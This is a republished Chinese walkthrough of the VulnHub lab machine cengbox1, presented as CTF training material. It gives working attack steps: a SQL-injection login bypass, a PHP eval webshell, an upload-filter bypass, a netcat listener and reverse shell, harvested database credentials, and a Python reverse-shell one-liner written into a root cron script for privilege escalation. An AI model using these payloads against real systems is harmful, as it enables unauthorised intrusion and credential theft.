您的位置:首页 > 文旅 > 旅游 > VulnHub:cengbox1

VulnHub:cengbox1

2024/12/23 0:54:24 来源:https://blog.csdn.net/Aukum/article/details/140670299  浏览:    关键词:VulnHub:cengbox1

靶机下载地址,下载完成后,用VirtualBox打开靶机并修改网络为桥接即可搭建成功。

信息收集

主机发现和端口扫描

扫描攻击机(192.168.31.218)同网段存活主机确认目标机ip,并对目标机进行全面扫描。

nmap 192.168.31.0/24 -Pn -T4
nmap 目标主机ip -A -p- -T4

确认目标机ip为192.168.31.175,开放22,80端口。

目录扫描

访问http服务,首页如图,功能点都点一下,没有线索。

使用工具进行目录扫描。

dirsearch -u http://192.168.31.175

除了/gulpfile.js有内容之外,其他都是403。换个工具和字典进行目录扫描,结果一致,除了上面几个路径外没有其他发现。但是注意到/masteradmin有admin敏感字样,对该目录进行二层目录扫描。

dirsearch -u http://192.168.31.175/masteradmin/

有收获,访问/masteradmin/login.php,找到后台登录页面。

渗透

sql万能密码

这里不需要bp爆破,直接sql万能密码:' or 1='1

成功登录。

文件上传反弹shell脚本

登录后出现一个文件上传的功能点。

上传一句话木马文件shell.php。

<?php
@eval($_POST['cmd']); //一句话木马
>

好像没有上传成功没有任何提示,尝试黑名单绕过,前端绕过等常见文件上传绕过方法无果,这个文件上传怎么什么类型的文件都不能上传。后来发现上传失败后是有提示的,字体颜色太暗没发现。

错误提示:

extension not allowed, please choose a CENG file.

扩展名不被允许,请上传ceng文件。上传后缀名为.ceng的文件?修改一句话木马文件后缀名为ceng后成功上传,既然如此,直接上传反弹shell也可行。php反弹shell脚本在这里

攻击机监听4444端口nc -lvvp 4444。

接下来需要思考文件上传到哪儿了,前面目录扫描到的存在/uploads目录,猜测文件上传后保存位置就是/uploads,访问http://192.168.31.175/uploads/fantan.ceng,监听上线。

切换到交互式shell。

​​​​​​​python3 -c 'import pty;pty.spawn("/bin/bash")'

getshell后cd进家目录,发现cengover用户,cengover目录没有读权限。另外有一个隐藏文件夹.ecryptfs,该目录下的文件也无读权限。

在/var/www/html/masteradmin/db.php中得到数据库root用户密码SuperS3cR3TPassw0rd1!

使用密码登录mysql:mysql -u root -p。数据库中应该有用户相关信息。​​​​​​​

展示所有数据库:show databases;

选择cengbox数据库,发现admin表。

use cengbox;
show tables;

查看admin表内容:select * from admin;

又得到了一个密码C3ng0v3R00T1!。猜测是cengover用户的密码,切换到cengover用户。

get first flag.

提权

我这里先试了sudo,suid,uname -a,enumy64,crontab,都没什么收获。上传其他的脚本检测试一下——pspy,使用pspy64可以判断哪些程序以root运行(pspy可以在没有root权限的情况实时监控linux进程和其他用户的计划任务)然后使用对应脚本进行反弹。

下载pspy64到目标机。注意目标机需要切换到有执行权限的目录下再下载pspy64(通常是/tmp目录)。

# pspy64脚本下载到攻击机本地,在下载目录开启http服务
python3 -m http.server 8989
# 目标机下载pspy64
wget http://192.168.31.218:8989/pspy64 
chmod 777 pspy64
./pspy64

运行pspy64,发现UID=0的用户即root用户,每隔一分钟会执行一次md5check.py。

在md5check.py中写入python反弹脚本。

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.218",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/md5check.py

开启监听nc -lvvp 5555等一会就会上线。

get root flag🎆

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com